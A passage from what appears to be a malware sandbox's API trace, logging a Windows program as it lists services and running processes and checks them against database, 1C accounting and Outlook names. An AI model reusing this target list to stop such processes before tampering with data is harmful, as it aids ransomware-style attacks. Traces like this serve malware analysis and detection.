lpString2="MMCSS") returned -1 [0047.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.514] lstrlenW (lpString="MpsSvc") returned 6 [0047.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.515] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.515] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.515] lstrlenW (lpString="Netman") returned 6 [0047.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.515] lstrlenW (lpString="netprofm") returned 8 [0047.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.515] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.515] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.515] lstrlenW (lpString="NlaSvc") returned 6 [0047.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.515] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.515] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.515] lstrlenW (lpString="nsi") returned 3 [0047.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.515] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.515] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.515] lstrlenW (lpString="PcaSvc") returned 6 [0047.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.515] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.515] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.516] lstrlenW (lpString="PlugPlay") returned 8 [0047.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.516] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.516] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.516] lstrlenW (lpString="Power") returned 5 [0047.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.516] lstrlenW (lpString="ProfSvc") returned 7 [0047.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.516] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.516] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.516] lstrlenW (lpString="RpcSs") returned 5 [0047.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.516] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.516] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.517] lstrlenW (lpString="SamSs") returned 5 [0047.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.517] lstrlenW (lpString="Schedule") returned 8 [0047.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.517] lstrlenW (lpString="SENS") returned 4 [0047.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.517] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.517] lstrlenW (lpString="Spooler") returned 7 [0047.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.518] lstrlenW (lpString="swprv") returned 5 [0047.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.518] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.518] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.518] lstrlenW (lpString="SysMain") returned 7 [0047.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.518] lstrlenW (lpString="Themes") returned 6 [0047.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.518] lstrlenW (lpString="TrkWks") returned 6 [0047.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.518] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.518] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.518] lstrlenW (lpString="UxSms") returned 5 [0047.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.518] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.518] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.518] lstrlenW (lpString="VSS") returned 3 [0047.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.519] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.519] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.519] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.519] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.519] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.519] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.519] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.519] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.519] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.519] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.519] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.519] lstrlenW (lpString="Winmgmt") returned 7 [0047.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.519] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.520] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.520] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.520] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0068 | out: hHeap=0x790000) returned 1 [0047.520] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0047.522] Process32FirstW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.522] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.523] lstrlenW (lpString="System") returned 6 [0047.523] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.523] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.523] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.523] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.523] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.523] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.523] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.523] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.523] lstrlenW (lpString="smss.exe") returned 8 [0047.523] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.523] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.523] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.523] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.523] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.523] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.523] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.523] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.524] lstrlenW (lpString="csrss.exe") returned 9 [0047.524] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.524] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.524] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.524] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.524] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.524] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.524] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.524] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.524] lstrlenW (lpString="wininit.exe") returned 11 [0047.524] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.524] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.524] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.524] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.525] lstrlenW (lpString="csrss.exe") returned 9 [0047.525] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.525] lstrlenW (lpString="winlogon.exe") returned 12 [0047.525] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.525] lstrlenW (lpString="services.exe") returned 12 [0047.525] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.525] lstrlenW (lpString="lsass.exe") returned 9 [0047.525] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.526] lstrlenW (lpString="lsm.exe") returned 7 [0047.526] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.526] lstrlenW (lpString="svchost.exe") returned 11 [0047.526] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.526] lstrlenW (lpString="svchost.exe") returned 11 [0047.526] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.527] lstrlenW (lpString="svchost.exe") returned 11 [0047.527] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.527] lstrlenW (lpString="svchost.exe") returned 11 [0047.527] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.527] lstrlenW (lpString="svchost.exe") returned 11 [0047.527] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.527] lstrlenW (lpString="audiodg.exe") returned 11 [0047.528] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.528] lstrlenW (lpString="svchost.exe") returned 11 [0047.528] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.528] lstrlenW (lpString="svchost.exe") returned 11 [0047.528] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.528] lstrlenW (lpString="dwm.exe") returned 7 [0047.528] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.529] lstrlenW (lpString="explorer.exe") returned 12 [0047.529] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.529] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.529] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.529] lstrlenW (lpString="taskhost.exe") returned 12 [0047.529] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.530] lstrlenW (lpString="svchost.exe") returned 11 [0047.530] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.530] lstrlenW (lpString="taskeng.exe") returned 11 [0047.530] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.530] lstrlenW (lpString="taskhost.exe") returned 12 [0047.530] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0047.530] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0047.530] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0047.531] lstrlenW (lpString="noticed.exe") returned 11 [0047.531] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0047.531] lstrlenW (lpString="uploaded.exe") returned 12 [0047.531] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0047.531] lstrlenW (lpString="hardware.exe") returned 12 [0047.531] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0047.532] lstrlenW (lpString="oracle.exe") returned 10 [0047.532] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0047.532] lstrlenW (lpString="creativity.exe") returned 14 [0047.532] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: 